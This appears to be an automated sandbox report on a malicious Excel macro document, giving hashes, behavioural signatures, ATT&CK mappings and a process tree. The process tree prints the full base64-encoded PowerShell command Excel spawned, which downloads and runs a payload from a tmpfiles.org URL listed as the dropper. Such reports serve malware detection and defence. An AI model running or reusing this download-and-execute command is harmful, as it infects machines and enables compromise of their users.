1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0

General

Target

1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0.xls
Size

28KB
MD5

f905fbc0693840717343b4651e8d083f
SHA1

0f1fcbb144f4e7e20bb46f8b9724ed103e8ec380
SHA256

1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0
SHA512

57e219508335656b725157a5f4d84dd7db5cc401bedf76cb22a902149bc8a8d1b52b88306b86e357bfea9b59c291177ff92f3b80380b4d930c9fe685d45840fa
SSDEEP

384:i8LDjTPAA6ymev82NsdHLneAjf7OrNCn/WgAdE:rDjLR6dev82NsdHLpf76NWWu

Score

10^/10

macro macro_on_action

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://tmpfiles.org/dl/10333590/exploit.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1352	4884	powershell.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	1352	powershell.exe

Office macro that triggers on suspicious action 1 IoCs

Office document macro which triggers in special circumstances - often malicious.

macro macro_on_action

resource	yara_rule
behavioral2/files/0x000a00000001e602-72.dat	office_macro_on_action

Deletes itself 1 IoCs

pid	Process
4884	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\85B75E00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4884	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1352	powershell.exe
1352	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1352	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4884	EXCEL.EXE
4884	EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE
4884	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 1352	4884	EXCEL.EXE	88
PID 4884 wrote to memory of 1352	4884	EXCEL.EXE	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0.xls"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAAzADMAMwA1ADkAMAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1a796483c2e648ff0f82c75d7a0b74e71abd66694f555078c9b2b01174b6c2a0.xls

Filesize
71KB

MD5
26c74bbfd1553666ace71df7a98970d4

SHA1
5eb7f5f51177120acce59c11b0b6c2e4502e70dc

SHA256
bce1fadda28923a56f069481c0090bf04fb2e09b732e31edd703d1c098268262

SHA512
8f0065ff5657d8a3f14d002e2879458bdd915b32d76675480ece835296d9cf873ec44a7e07a2d527699ceca21c4a16cb3aa59c2452578f75742b76b14a129b4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r52xgag3.ywb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1352-61-0x000001EBAB5B0000-0x000001EBAB5D2000-memory.dmp

Filesize
136KB

Download
memory/4884-8-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-16-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-6-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-5-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-7-0x00007FFAF1090000-0x00007FFAF10A0000-memory.dmp

Filesize
64KB

Download
memory/4884-10-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-11-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-9-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-12-0x00007FFAEE730000-0x00007FFAEE740000-memory.dmp

Filesize
64KB

Download
memory/4884-0-0x00007FFAF1090000-0x00007FFAF10A0000-memory.dmp

Filesize
64KB

Download
memory/4884-13-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-4-0x00007FFAF1090000-0x00007FFAF10A0000-memory.dmp

Filesize
64KB

Download
memory/4884-18-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-17-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-15-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-14-0x00007FFAEE730000-0x00007FFAEE740000-memory.dmp

Filesize
64KB

Download
memory/4884-37-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-49-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download
memory/4884-3-0x00007FFB310AD000-0x00007FFB310AE000-memory.dmp

Filesize
4KB

Download
memory/4884-1-0x00007FFAF1090000-0x00007FFAF10A0000-memory.dmp

Filesize
64KB

Download
memory/4884-2-0x00007FFAF1090000-0x00007FFAF10A0000-memory.dmp

Filesize
64KB

Download
memory/4884-77-0x00007FFB31010000-0x00007FFB31205000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads